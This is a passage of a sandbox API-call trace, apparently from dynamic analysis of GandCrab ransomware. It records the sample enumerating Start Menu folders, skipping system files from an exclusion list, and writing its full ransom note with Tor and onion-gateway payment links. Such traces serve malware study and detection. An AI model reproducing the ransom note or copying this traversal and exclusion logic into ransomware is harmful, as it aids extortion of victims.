dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.940] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.940] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.940] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.940] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\GDCB-DECRYPT.txt" [0054.940] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.940] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\GDCB-DECRYPT.txt") returned 106 [0054.940] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\GDCB-DECRYPT.txt") returned 106 [0054.940] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\GDCB-DECRYPT.txt") returned 106 [0054.940] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\GDCB-DECRYPT.txt") returned 106 [0054.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.940] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.940] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.941] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.941] lstrcmpW (lpString1="Magnify.lnk", lpString2=".") returned 1 [0054.941] lstrcmpW (lpString1="Magnify.lnk", lpString2="..") returned 1 [0054.941] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\", lpString2="Magnify.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk" [0054.941] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.941] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk") returned 101 [0054.941] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Magnify.lnk") returned 101 [0054.941] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.941] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.941] lstrcmpW (lpString1="Narrator.lnk", lpString2=".") returned 1 [0054.941] lstrcmpW (lpString1="Narrator.lnk", lpString2="..") returned 1 [0054.941] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\", lpString2="Narrator.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk" [0054.941] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.941] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk") returned 102 [0054.941] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk") returned 102 [0054.941] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.941] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.941] lstrcmpW (lpString1="On-Screen Keyboard.lnk", lpString2=".") returned 1 [0054.941] lstrcmpW (lpString1="On-Screen Keyboard.lnk", lpString2="..") returned 1 [0054.941] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\", lpString2="On-Screen Keyboard.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk" [0054.941] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.942] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk") returned 112 [0054.942] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk") returned 112 [0054.942] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.942] FindNextFileW (in: hFindFile=0x5b8870, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0054.942] FindClose (in: hFindFile=0x5b8870 | out: hFindFile=0x5b8870) returned 1 [0054.942] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.942] lstrcmpW (lpString1="Accessories", lpString2=".") returned 1 [0054.942] lstrcmpW (lpString1="Accessories", lpString2="..") returned 1 [0054.942] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="Accessories" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0054.942] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\" [0054.942] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.942] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.943] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.943] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.943] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.943] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.943] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned 88 [0054.943] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*" [0054.943] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b8670 [0054.943] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.943] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.943] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.943] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.943] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.943] lstrcmpW (lpString1="Desktop.ini", lpString2=".") returned 1 [0054.943] lstrcmpW (lpString1="Desktop.ini", lpString2="..") returned 1 [0054.943] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\", lpString2="Desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" [0054.943] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini") returned 99 [0054.943] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.943] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.943] lstrcmpW (lpString1="Internet Explorer.lnk", lpString2=".") returned 1 [0054.943] lstrcmpW (lpString1="Internet Explorer.lnk", lpString2="..") returned 1 [0054.943] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\", lpString2="Internet Explorer.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk" [0054.943] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk") returned 109 [0054.943] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.943] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.943] lstrcmpW (lpString1="Notepad.lnk", lpString2=".") returned 1 [0054.943] lstrcmpW (lpString1="Notepad.lnk", lpString2="..") returned 1 [0054.943] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\", lpString2="Notepad.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" [0054.943] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk") returned 99 [0054.943] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.943] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0054.943] FindClose (in: hFindFile=0x5b8670 | out: hFindFile=0x5b8670) returned 1 [0054.944] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.944] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\\\GDCB-DECRYPT.txt") returned 105 [0054.944] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0054.946] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.946] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0054.946] CloseHandle (hObject=0x504) returned 1 [0054.947] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.947] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\") returned 88 [0054.947] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*" [0054.947] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5b8670 [0054.947] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.947] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.947] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.947] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.947] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.947] lstrcmpW (lpString1="Desktop.ini", lpString2=".") returned 1 [0054.947] lstrcmpW (lpString1="Desktop.ini", lpString2="..") returned 1 [0054.947] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\", lpString2="Desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" [0054.947] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.947] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini") returned 99 [0054.947] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini") returned 99 [0054.947] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini") returned 99 [0054.947] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini") returned 99 [0054.947] lstrcmpiW (lpString1="Desktop.ini", lpString2="desktop.ini") returned 0 [0054.947] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.948] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.948] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.948] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.948] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\GDCB-DECRYPT.txt" [0054.948] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.948] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\GDCB-DECRYPT.txt") returned 104 [0054.948] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\GDCB-DECRYPT.txt") returned 104 [0054.948] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\GDCB-DECRYPT.txt") returned 104 [0054.948] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\GDCB-DECRYPT.txt") returned 104 [0054.948] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.948] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.948] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.948] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.948] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.948] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.948] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.948] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.948] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.948] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.948] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.948] lstrcmpW (lpString1="Internet Explorer.lnk", lpString2=".") returned 1 [0054.948] lstrcmpW (lpString1="Internet Explorer.lnk", lpString2="..") returned 1 [0054.948] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\", lpString2="Internet Explorer.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk" [0054.948] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.948] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk") returned 109 [0054.948] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Internet Explorer.lnk") returned 109 [0054.948] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.949] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.949] lstrcmpW (lpString1="Notepad.lnk", lpString2=".") returned 1 [0054.949] lstrcmpW (lpString1="Notepad.lnk", lpString2="..") returned 1 [0054.949] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\", lpString2="Notepad.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" [0054.949] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.949] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk") returned 99 [0054.949] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk") returned 99 [0054.949] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.949] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0054.949] FindClose (in: hFindFile=0x5b8670 | out: hFindFile=0x5b8670) returned 1 [0054.949] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0054.950] lstrcmpW (lpString1="Administrative Tools", lpString2=".") returned 1 [0054.950] lstrcmpW (lpString1="Administrative Tools", lpString2="..") returned 1 [0054.950] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\", lpString2="Administrative Tools" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" [0054.950] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\" [0054.950] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.950] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.950] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.950] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned 97 [0054.950] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*" [0054.950] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5b8670 [0054.950] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.950] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.950] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.950] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.950] FindNextFileW (in: hFindFile=0x5b8670, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0054.950] lstrcmpW 